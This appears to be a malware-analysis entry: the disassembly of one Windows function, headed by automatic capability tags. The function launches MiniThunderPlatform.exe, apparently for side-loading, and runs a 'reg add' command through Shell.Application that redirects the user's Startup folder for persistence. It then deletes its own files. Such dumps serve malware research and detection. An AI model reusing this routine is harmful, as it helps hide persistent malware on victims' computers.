Function at 0x10002f00
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Resolve function by parsing pe exports
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x948
mov eax, dword [0x100b0040]
xor eax, esp
mov dword [esp + 0x944], eax
push esi
push edi
lea eax, [esp + 0x630]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x104
lea eax, [esp + 0x52c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x10002f75
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.GetModuleFileName_failed___d_._n
call fcn.100011f0
add esp, 8
mov eax, 1
pop edi
pop esi
mov ecx, dword [esp + 0x944]
xor ecx, esp
call fcn.100088f8
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x528]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea eax, [esp + 0x528]
push eax
push str._sMiniThunderPlatform.exe
push 0xffffffffffffffff
lea eax, [esp + 0x324]
push 0x104
push eax
call fcn.100012d0
add esp, 0x14
lea eax, [esp + 0x318]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x10002fdf
push str.libcef.exe_not_found_in_the_current_directory._n
call fcn.100011f0
add esp, 4
mov eax, 1
pop edi
pop esi
mov ecx, dword [esp + 0x944]
xor ecx, esp
call fcn.100088f8
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0xd0]
mov dword [esp + 0x88], 0x44
push eax
lea eax, [esp + 0x8c]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x338]
movlpd qword [esp + 0xac], xmm0
push eax
push 0
movlpd qword [esp + 0xbc], xmm0
movlpd qword [esp + 0xc4], xmm0
movlpd qword [esp + 0xcc], xmm0
movlpd qword [esp + 0xd4], xmm0
movlpd qword [esp + 0xdc], xmm0
movlpd qword [esp + 0xe4], xmm0
movlpd qword [esp + 0xec], xmm0
movaps xmmword [esp + 0xf8], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1000309a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateProcess_failed___d_._n
call fcn.100011f0
add esp, 8
mov eax, 1
pop edi
pop esi
mov ecx, dword [esp + 0x944]
xor ecx, esp
call fcn.100088f8
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.ole32.dll_CoInitialize]
push 0
call edi
lea eax, [esp + 0x78]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
jne 0x100030fb
movzx eax, byte [esp + 0x82]
push eax
movzx eax, byte [esp + 0x85]
push eax
movzx eax, byte [esp + 0x88]
push eax
movzx eax, word [esp + 0x8a]
push eax
movzx eax, word [esp + 0x8c]
push eax
push dword [esp + 0x8c]
push str._08X_04X_04x_02X_02X_02X
push 0x40
push 0x100b1f98
call fcn.10001290
add esp, 0x24
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x630]
push 0x100b1f98
push eax
lea eax, [esp + 0x428]
push str._s_s.lnk
push eax
call esi
push 0
lea eax, [esp + 0x74c]
push str.add__HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders___v_Startup__d___s___f
push eax
call esi
add esp, 0x1c
lea eax, [esp + 0x738]
lea ecx, [esp + 0x420]
push eax
call fcn.10002bb0
add esp, 4
lea eax, [esp + 0x420]
push eax
lea eax, [esp + 0x10c]
push str.__s_
push eax
call esi
add esp, 0xc
lea eax, [esp + 0x318]
push eax
lea eax, [esp + 0x214]
push str.::20D04FE0_3AEA_1069_A2D8_08002B30309D_s
push eax
call esi
add esp, 0xc
mov dword [esp + 0x64], 0xc08afd90
mov dword [esp + 0x68], 0x11d1f2a1
mov dword [esp + 0x6c], 0xa0005584
mov dword [esp + 0x70], 0x80381fc9
push 0
mov dword [esp + 0x58], 0xd30c1661
mov dword [esp + 0x5c], 0x11d0cdaf
mov dword [esp + 0x60], 0xc0003e8a
mov dword [esp + 0x64], 0x6ee2c94f
mov dword [esp + 0x34], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x10], 0
call edi
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x58]
push eax
push 4
push 0
lea eax, [esp + 0x74]
push eax
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x100034fe
mov eax, dword [esp + 0xc]
mov dword [esp + 0x24], str.Document
mov eax, dword [eax]
mov esi, dword [eax + 0x14]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
lea ecx, [esp + 0x50]
push ecx
push eax
push 1
lea eax, [esp + 0x30]
push eax
push 0x1002c2b0
push dword [esp + 0x20]
call esi
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
test eax, eax
js 0x100034c4
lea eax, [esp + 0x10]
push eax
call esi
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x10]
push 0
push 0
push edx
mov eax, dword [ecx]
lea edx, [esp + 0x3c]
push edx
push 2
push 0x400
push 0x1002c2b0
push dword [esp + 0x6c]
push ecx
call dword [eax + 0x18]
test eax, eax
js 0x100034c4
mov edi, dword [esp + 0x18]
mov dword [esp + 0x28], str.Application
mov eax, dword [edi]
mov esi, dword [eax + 0x14]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
lea ecx, [esp + 0x50]
push ecx
push eax
push 1
lea eax, [esp + 0x34]
push eax
push 0x1002c2b0
push edi
call esi
test eax, eax
js 0x100034be
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [edi]
lea ecx, [esp + 0x10]
push 0
push 0
push ecx
lea ecx, [esp + 0x3c]
push ecx
push 2
push 0x400
push 0x1002c2b0
push dword [esp + 0x6c]
push edi
call dword [eax + 0x18]
test eax, eax
js 0x100034be
mov edi, dword [esp + 0x18]
mov dword [esp + 0x2c], str.ShellExecute
mov eax, dword [edi]
mov esi, dword [eax + 0x14]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
lea ecx, [esp + 0x50]
push ecx
push eax
push 1
lea eax, [esp + 0x38]
push eax
push 0x1002c2b0
push edi
call esi
test eax, eax
js 0x100034be
mov eax, 8
lea ecx, [esp + 0x108]
mov word [esp + 0xe8], ax
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003340
push 0
push 0
sub ecx, edx
lea eax, [esp + 0x110]
push ecx
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [esp + 8], eax
xor ecx, ecx
inc eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10008e65
lea ecx, [esp + 0x10c]
add esp, 4
mov esi, eax
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003390
push dword [esp + 8]
sub ecx, edx
lea eax, [esp + 0x10c]
push esi
push ecx
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 8]
xor ecx, ecx
push esi
mov word [esi + eax*2], cx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0xf0], eax
lea ecx, [esp + 0x210]
mov eax, 8
lea edx, [ecx + 1]
mov word [esp + 0xf8], ax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100033e0
push 0
push 0
sub ecx, edx
lea eax, [esp + 0x218]
push ecx
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [esp + 8], eax
xor ecx, ecx
inc eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10008e65
lea ecx, [esp + 0x214]
add esp, 4
mov esi, eax
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003430
push dword [esp + 8]
sub ecx, edx
lea eax, [esp + 0x214]
push esi
push ecx
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 8]
xor ecx, ecx
push esi
mov word [esi + eax*2], cx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push 0
push 0
lea ecx, [esp + 0x18]
mov dword [esp + 0x108], eax
push ecx
lea ecx, [esp + 0x4c]
mov dword [esp + 0x54], 2
push ecx
push 1
lea eax, [esp + 0xfc]
mov dword [esp + 0x60], 0
push 0x400
mov dword [esp + 0x58], eax
lea eax, [esp + 0x8c]
push 0x1002c2b0
push dword [esp + 0x6c]
mov dword [esp + 0x64], eax
mov eax, dword [edi]
push edi
mov dword [esp + 0x98], 0xfffffffd
call dword [eax + 0x18]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [esp + 0x10]
push eax
call esi
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x10]
push 0
push 0
push edx
mov ecx, dword [eax]
lea edx, [esp + 0x3c]
push edx
push 1
push 0x400
push 0x1002c2b0
push 0x12e
push eax
call dword [ecx + 0x18]
mov eax, dword [esp + 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x318]
push eax
call esi
lea eax, [esp + 0x840]
push eax
call esi
lea eax, [esp + 0x420]
push eax
call esi
mov ecx, dword [esp + 0x94c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.100088f8
mov esp, ebp
pop ebp
ret